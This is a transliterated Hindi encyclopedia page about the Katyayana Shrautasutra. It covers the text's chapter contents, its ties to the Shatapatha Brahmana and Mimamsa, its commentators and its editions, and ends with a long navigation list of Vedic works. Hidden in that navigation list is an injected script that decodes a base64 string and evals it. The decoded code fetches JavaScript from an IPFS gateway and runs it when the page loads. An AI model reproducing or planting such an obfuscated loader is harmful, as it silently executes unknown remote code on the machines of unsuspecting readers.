yah yajurved ki vajasaneyi sanhita ki kanv aur madhyandin donoan shakhaoan se sambaddh hai, kintu viniyukt mantroan ka grahan kanv shakha se hi adhik kiya gaya hai. isaka vibhajan 26 adhyayoan mean hai. pratyek adhyay katipay kandikaoan mean vibhakt hai. tin adhyayoan (22–24) ko chho dakar, jo samavediy tandy mahabrahman ke anuroop haian, shesh bhag mean shatapath brahmanokt vidhiyoan ka prayen anugaman hai, jo nitaraan svabhavik hai. shatapath mean bhi isaki kanvashakha ka adhik prabhav is par parilakshit hota hai.
vishay vastu
adhyay–kram se katyayan shrautasootr mean varnit vishay–vastu ka vivaran is prakar hai–
prashn |
vishay
|
adhyay 1 |
paribhasha;
|
adhyay 2-3 |
darshapoornamas,
|
adhyay 4 |
pindapitriyajn, dakshayanayajn, anvarambhaniyeshti, agrayaneshti, agnyadhey tatha agnihotr,
|
adhyay 5 |
niroodh pashubandh,
|
adhyay 6-11 |
agnishtom,
|
adhyay 12 |
dvadashah,
|
adhyay 13 |
gavamayanasatr,
|
adhyay 14 |
vajapey,
|
adhyay 15 |
rajasooy,
|
adhyay 16-18 |
agnichayan,
|
adhyay 19 |
kaukili sautramani,
|
adhyay 20 |
ashvamedh,
|
adhyay 21 |
purushamedh, sarvamedh, pitrimedh,
|
adhyay 22 |
ekah,
|
adhyay 23-24 |
ahin,
|
adhyay 25 |
prayashchitt,
|
adhyay 26 |
pravargy.
|
jatookarny, vatsy tatha badari acharyoan ka isamean namna ullekh hai. any shakhantariy athava svashakhiy matoan ka ullekh 'ityeke' athava 'ityekeshamh' kahakar kiya gaya hai. jaimini ke poorvamimaansa sootroan ka is par bahut adhik prabhav hai. poorvamimaansagat shruti, liang, vaky, prakaran, sthan aur samakhya; in chh: pramanoan ka bhi isamean ullekh hai. kram, tantr, atidesh prabhriti mimaansa ki paribhashik shabdavali ka bahudha prayog dekha ja sakata hai.
ashvamedh
sootrakar ka mukhy uddeshy karm ke vyavaharik svaroop ka yathatathy pratipadan karana hai, isalie shatapath brahman ke dasham kand (agni rahasy) se grihit samagri katyayan shrautasootr mean nahian dikhalaee deti, kyoanki usamean rahasyamay paksh par adhik bal hai. sautramani aur ashvamedh ke niroopan mean sootrakar ne shatapathokt kramoan se bhinn pad svikar kie haian. ekah aur ahin yagoan ka vivaran tandyanusar adhik hai. ashvamedh ki dakshina mean yajaman raja ke dvara rritvijoan ke nimitt vibhinn raniyoan ke dan ka bhi vidhan hai. vikalp mean raniyoan ki anuchariyaan bhi di ja sakati haian.
rachana
katyayan shrautasootr ki kuchh samagri ka sadrishy baudhayan shrautasootr se bhi hai. parampara katyayan shrautasootr ke pranayan ka shrey katyayan ko deti hai. yah ve hi katyayan haian, jinhoanne paniniy sootroan par vartikoan ki tatha vajasaneyi pratishakhy ki rachana ki hai. inaka samay ee. poorv tisari shati se poorv hona chahie. katyayan shrautasootr ki rachana atyant suvyavasthit sootrashaili mean huee hai. vishay vivechan kramayukt aur susambaddh hai. vaidik shabdavali aur apaniniy prayog bhi kahian–kahian pae jate haian. katyayan shrautasootr par likhit vyakhyaoan mean bhartriyajn ki vyakhya sarvaprachin mani jati hai. anant dev ke bhashy ke sath hi skand puran[1] mean bhi bhartriyajn ka ullekh hai, jisase jnat hota hai ki ve nagar brahman the. 12vian shati ke 'trikandamandan' tatha manusmriti ke bhashyakar medhatithi[2] ne bhi inaka ullekh kiya hai. tisari prachin vyakhya karkachary ne ki hai, jo sampoorn sootr par upalabdh hai. anant dev ka bhashy abhi hastalekh ke roop mean hi hai. adhunik kal mean pan. vidyadhar gau d ne is par 'saralavritti' ki rachana ki hai.
sanskaran
isake prakashit sanskaranoan ka vivaran is prakar hai–
- vebar ke dvara sanpadit tatha kark–bhashy evan devayajnik paddhati ke aanshoan sahit sanskaran barlin se 1859 ee. mean prakashit hai, jisaka punarmudran 1972 mean varanasi se hua.
- kark–bhashy sahit vi. pi. madan mohan pathak ke dvara sanpadit roop mean varanasi se 1903 se 1908 ke madhy prakashit.
- vi. sharma ke dvara sanpadit sanskaran 1931–33 ke madhy prakashit.
- vidyadhar gau d ki ‘saralavritti’ achyut granthamala varanasi se san. 1987 vi. mean prakashit.
- d aau. ke. pi. sianh ne katyayan shrautasootr ka alochanatmak adhyayan prastut kiya hai. yah bhi varanasi se prakashit hai.
tika tippani aur sandarbh
- ↑ nagarakhand, 113–117
- ↑ manusmriti 8.3 par bhashy
sanbandhit lekh
shrautasootr |
---|
| rrigvediy shrautasootr | | | shukl-krishna yajurvediy | | | samavediy shrautasootr | | | atharvavediy shrautasootr | |
|
shrutiyaan
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
upaved aur vedaang |
---|
| upaved |
|
kamandak sootr · kautily arthashastr · chanaky sootr · nitivakyamritasootr · brihaspatey arthadhikarakamh · shukraniti | | |
mukti kalpataroo · vriddh sharangadhar · vaishampayan niti-prakashika · samaraangan sootradhar · adhvaryu | | | | | |
agnigrahasootraraj · ashvinikumar sanhita · ashtaangahriday · indrasootr · charak sanhita · jabalisootr · dalbhy sootr · deval sootr · dhanvantari sootr · dhatuved · brahman sanhita · bhel sanhita · manasootr · shabd kautoohal · sushrut sanhita · soop sootr · sauvari sootr |
| | vedaang |
kalp | | | shiksha |
gautami shiksha (samaved) · naradiy shiksha· paniniy shiksha (rrigved) · bahy shiksha (krishna yajurved) · mandki shiksha (atharvaved) · yajnavalky shiksha (shukl yajurved) · lomashiy shiksha | | vyakaran |
kalp vyakaran · kamadhenu vyakaran · panini vyakaran · prakriti prakash · prakriti vyakaran · mugdhabodh vyakaran · shaktayan vyakaran · sarasvat vyakaran · hemachandr vyakaran | | niruktt |
mukti kalpataroo · vriddh sharangadhar · vaishampayan niti-prakashika · samaraangan sootradhar | | chhand |
gargyaprokt upanidan sootr · chhand manjari · chhandasootr · chhandovichit chhand sootr · chhandoanukramani · chhalapudh vritti · jayadev chhand · janashramaan chhandovichit · vrittaratnakar · veankatamadhav chhandoanukramani · shrutavek | | jyotish |
aryabhatiy jyotish · naradiy jyotish · parashar jyotish · brahmagupt jyotish · bhaskarachary jyotish · varahamihir jyotish · vasishth jyotish · vedaang jyotish |
|
|
upanishad | | rrigvediy upanishad | | | yajurvediy upanishad |
shukl yajurvediy | | | krishna yajurvediy | |
| | samavediy upanishad | | | atharvavediy upanishad | | | | | rrigvediy brahman granth | | | yajurvediy brahman granth |
shukl yajurvediy | | | krishna yajurvediy | |
| | samavediy brahman granth | | | atharvavediy brahman granth | | |
sootr-granth | | rrigvediy sootr-granth | | | yajurvediy sootr-granth |
shukl yajurvediy | | | krishna yajurvediy | |
| | samavediy sootr-granth |
masakasootr · latyayan sootr · khadir shrautasootr · jaiminiy grihyasootr · gobhil grihyasootr · khadir grihyasootr · gautam dharmasootr · drahyayan grihyasootr · drahyayan dharmasootr | | atharvavediy sootr-granth | |
|
shakha | | shakha |
shakal rrigvediy shakha · kanv shukl yajurvediy · madhyandin shukl yajurvediy · taittiriy krishna yajurvediy · maitrayani krishna yajurvediy · kath krishna yajurvediy · kapishthal krishna yajurvediy · shvetashvatar krishna yajurvediy · kauthumi samavediy shakha · jaiminiy samavediy shakha · ranayaniy samavediy shakha · paippalad atharvavediy shakha · shaunakiy atharvavediy shakha | | mantr-sanhita |
rrigved mantr-sanhita · shukl yajurved mantr- sanhita · samaved mantr-sanhita · atharvaved mantr-sanhita | | aranyak | | |
pratisakhy evan anukramanika | | rrigvediy pratisakhy |
shaankhayan pratishakhy · brihad pratishakhy · arshanukramanika · ashvalayan pratishakhy · chhandonukramanika · rrigpratishakhy · devatanukramanika · sarvanukramanika · anuvakanukramanika · brihadvatanukramanika · rrigh vijnan | | yajurvediy pratisakhy |
shukl yajurvediy |
katyayan shulvasootr · katyayanukramanika · vajasaneyi pratishakhy | | krishna yajurvediy |
taittiriy pratishakhy |
| | samavediy pratisakhy |
shaunakiya chaturdhyapika |
|
|
smriti sahity |
---|
| smritigranth | | | puran | | | mahakavy | | | darshan | | | nibandh |
jimootavahan krit : dayabhag · kalavivek · vyavahar matrika · aniruddh krit : pitridayita · haralata · ballalasen krit :acharasagar · pratishthasagar · adbhutasagar · shridhar upadhyay krit : kalamadhav · dattakamimaansa · parasharamadhav · gotr-pravar nirnay · muhoortamadhav · smritisangrah · vratyastom-paddhati · nandapandit krit : shraddh-kalpalata · shuddhi-chandrika · tattvamuktavali · dattak mimaansa · · narayanabhatat krit : tristhali-setu · antyeshti-paddhati · prayog ratnakar · kamalakar bhatt krit: nirnayasindhu · shoodrakamalakar · danakamalakar · poortakamalakar · vedaratn · prayashchittaratn · vivad tandav · kashinath upadhyay krit : dharmasindhu · nirnayamrit · purusharth-chintamani · shoolapani krit : smriti-vivek (apoorn) · raghunandan krit : smriti-tattv · chandeshvar krit : smriti-ratnakar · vachaspati mishr : vivad-chintamani · devan bhatat krit : smriti-chandrika · hemadri krit : chaturvarg-chintamani · nilakandabhatat krit : bhagavant bhaskar · mitramishr krit: vir-mitroday · lakshmidhar krit : krity-kalpataru · jagannath tarkapanchanan krit : vivadarnav | | agam |
vaishnavagam |
ahirbudhny-sanhita · eeshvar-sanhita · kapilajanli-sanhita · jayakhy-sanhita · padmatantr-sanhita · parashar-sanhita · brihadbrahm-sanhita · bharadvaj-sanhita · lakshmi-sanhita · vishnutilak-sanhita · vishnu-sanhita · shriprashn-sanhita · sattvat-sanhita | | shaivagam |
tattvatray · tattvaprakashika · tattvasangrah · tatpary sangrah · nareshvar pariksha · nadakarika · paramoksh-nirashakarika · pashupat sootr · bhogakarika · mokshakarika · ratnatray · shrutisooktimala · soot-sanhita | | shaktagam |
vamagam |
advaitabhavopanishad · arunopanishad · kalikopanishad · kaulopanishad · taropanishad · tripuropanishad · brahichopanishad · bhavanopanishad | | mishramarg |
kalanidhi · kularnav · kuleshvari · chandrak · jyotsravati · durvasas · barhaspaty · bhuvaneshvari | | samayachar |
vasishthasanhita · shukrasanhita · sanakasanhita · sanatkumarasanhita · sanandanasanhita | | tantrik sadhana |
kalivilas · kularnav · kool-choo damani · jnanarnav · tantraraj · tripura-rahasy · dakshinamoorti-sanhita · namakeshvar · prapanchasar · mantr-maharnav · mahanirvan · rudrayamal · shaktisangam-tantr · sharada-tilak |
|
|
|
varnamala kramanusar lekh khoj